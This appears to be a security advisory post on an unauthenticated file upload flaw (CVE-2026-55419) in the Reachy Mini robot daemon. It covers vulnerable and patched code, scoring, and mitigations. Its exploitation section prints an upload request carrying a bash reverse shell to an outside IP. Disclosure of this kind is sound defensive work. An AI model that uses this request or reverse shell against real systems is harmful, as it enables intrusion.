Aug 26, 2026·5 min read·49 visits
Unauthenticated arbitrary file upload on the Reachy Mini daemon allows attackers to write files to /tmp/reachy_mini_sounds/ over the network.
An unrestricted file upload vulnerability exists in the Pollen Robotics Reachy Mini robot daemon prior to version 1.8.2. Unauthenticated remote attackers can upload arbitrary files to the temporary sounds directory over the network, leading to disk pollution and staging for potential secondary local exploits.
The Reachy Mini daemon exposes an unrestricted file upload vulnerability within its media processing subsystem. Specifically, the REST API route /api/media/sounds/upload allows any network-reachable client to transmit files directly to the host filesystem without authentication, rate-limiting, or size constraints. By default, the underlying daemon binds to all network interfaces (0.0.0.0) and enables permissive Cross-Origin Resource Sharing (CORS) with allow_origins=["*"].
This configuration exposes the endpoint to remote attackers on the local network or WAN, if port-forwarding is configured. The application does not perform any authorization check or file extension validation, allowing arbitrary payloads to be written to disk. Uploaded files are deposited into /tmp/reachy_mini_sounds/ using the client-provided file name.
The lack of input validation and authentication presents a vector for unauthorized file writes. While the target directory is /tmp, this capability compromises the integrity of the filesystem and establishes a staging area for subsequent execution phases. This vulnerability was resolved in version 1.8.2.
The root cause of CVE-2026-55419 lies in the implementation of the upload_sound function in src/reachy_mini/daemon/app/routers/media.py. The endpoint accepts user-supplied files via FastAPI's UploadFile class. The application relies entirely on the client-provided filename property from the Content-Disposition HTTP header to determine the destination filepath on the host.
Because the function does not sanitize file extensions or validate the file structure, it is susceptible to arbitrary file uploads (CWE-434). An attacker can supply filenames with arbitrary extensions, including shell scripts (.sh) or executables. The application directly concatenates this filename with the destination path SOUNDS_TMP_DIR using os.path.join.
Furthermore, the application reads the entire payload into memory asynchronously using await file.read(). This behavior introduces a denial-of-service vector, as a single extremely large file upload can exhaust the host system's memory resources. The file is also written directly to disk in real-time, lacking transactional staging, which leaves partially written payloads in the directory.
The vulnerable implementation of upload_sound displays an absence of validation checks before writing content to disk. The following code snippet illustrates the vulnerable implementation:
# Vulnerable Implementation
@router.post("/api/media/sounds/upload")
async def upload_sound(
file: UploadFile = File(...),
daemon: Daemon = Depends(get_daemon),
) -> dict[str, str]:
filename = file.filename
if not filename or filename in (".", ".."):
raise HTTPException(status_code=400, detail="Invalid filename")
os.makedirs(SOUNDS_TMP_DIR, exist_ok=True)
dest = os.path.join(SOUNDS_TMP_DIR, filename)
content = await file.read()
with open(dest, "wb") as f:
f.write(content)
return {"status": "ok", "path": dest}The patch introduced in version 1.8.2 fixes this behavior by adding restriction mechanisms. The following code demonstrates the updated implementation incorporating file extension validation and safe streaming:
# Patched Implementation in v1.8.2
ALLOWED_SOUND_EXTENSIONS = frozenset(
{".wav", ".mp3", ".ogg", ".oga", ".opus", ".flac", ".m4a", ".aac"}
)
# In upload_sound:
if Path(filename).suffix.lower() not in ALLOWED_SOUND_EXTENSIONS:
raise HTTPException(status_code=400, detail="Unsupported file extension")
os.makedirs(SOUNDS_TMP_DIR, exist_ok=True)
dest = os.path.join(SOUNDS_TMP_DIR, filename)
tmp_fd, tmp_path = tempfile.mkstemp(dir=SOUNDS_TMP_DIR, suffix=".upload")
try:
with os.fdopen(tmp_fd, "wb") as f:
while chunk := await file.read(1 << 20): # Stream 1MiB chunks
f.write(chunk)This remediation ensures that only pre-approved audio extensions are accepted. Additionally, the replacement of the single read() call with chunked writes limits the memory overhead. The file is validated out-of-band and atomically moved using os.replace only upon a successful validation, which prevents residual temporary files from cluttering /tmp.
Exploitation of CVE-2026-55419 requires network access to the Reachy Mini daemon, typically running on port 8000. An unauthenticated attacker can construct a multipart HTTP POST request targeting the /api/media/sounds/upload route. The request contains the payload and a designated filename.
The following HTTP structure illustrates the exploitation vector:
POST /api/media/sounds/upload HTTP/1.1
Host: <target_ip>:8000
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="exploit.sh"
Content-Type: application/x-sh
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
------Boundary--Upon processing, the daemon creates /tmp/reachy_mini_sounds/exploit.sh. Although /tmp does not typically allow direct execution, the presence of this executable script on the filesystem presents a significant risk if combined with secondary local vulnerabilities, such as a local file inclusion, command injection, or path traversal flaw.
The primary impact of CVE-2026-55419 is unauthorized file write access to the host filesystem. This permits attackers to stage arbitrary payloads, causing disk space exhaustion, directory pollution, or file corruption. This represents a significant exposure for robotic control systems where stability and deterministic operation are critical.
The CVSS v3.1 base score is 5.3 (Medium), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. Because the daemon binds to 0.0.0.0 by default, any network-connected entity can trigger the vulnerability without prior authentication.
While this exploit does not provide immediate code execution by itself, dropping scripts or configurations inside /tmp constitutes a standard post-exploitation foothold. When chained with separate vulnerabilities, the impact can escalate to full remote execution under the daemon user's context.
Remediation of CVE-2026-55419 requires upgrading the reachy_mini daemon to version 1.8.2 or later. This version restricts accepted file extensions, limits upload sizes via ASGI middleware, and integrates GStreamer structural checks to verify that uploaded content matches real audio files.
If upgrading immediately is not feasible, administrators should restrict network access to the daemon. Reconfigure the daemon to bind to localhost (127.0.0.1) rather than the default wildcard address (0.0.0.0), unless external network access is explicitly required.
Alternatively, firewall rules (such as iptables or ufw) should be implemented to restrict access to port 8000 to authorized IP addresses. Network-level monitoring should inspect incoming HTTP traffic on port 8000 for unexpected multipart POST requests directed to /api/media/sounds/upload.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
reachy_mini Pollen Robotics | < 1.8.2 | 1.8.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-434 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 5.3 (Medium) |
| Exploit Status | PoC available |
| Remediation | Upgrade to v1.8.2 |
The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.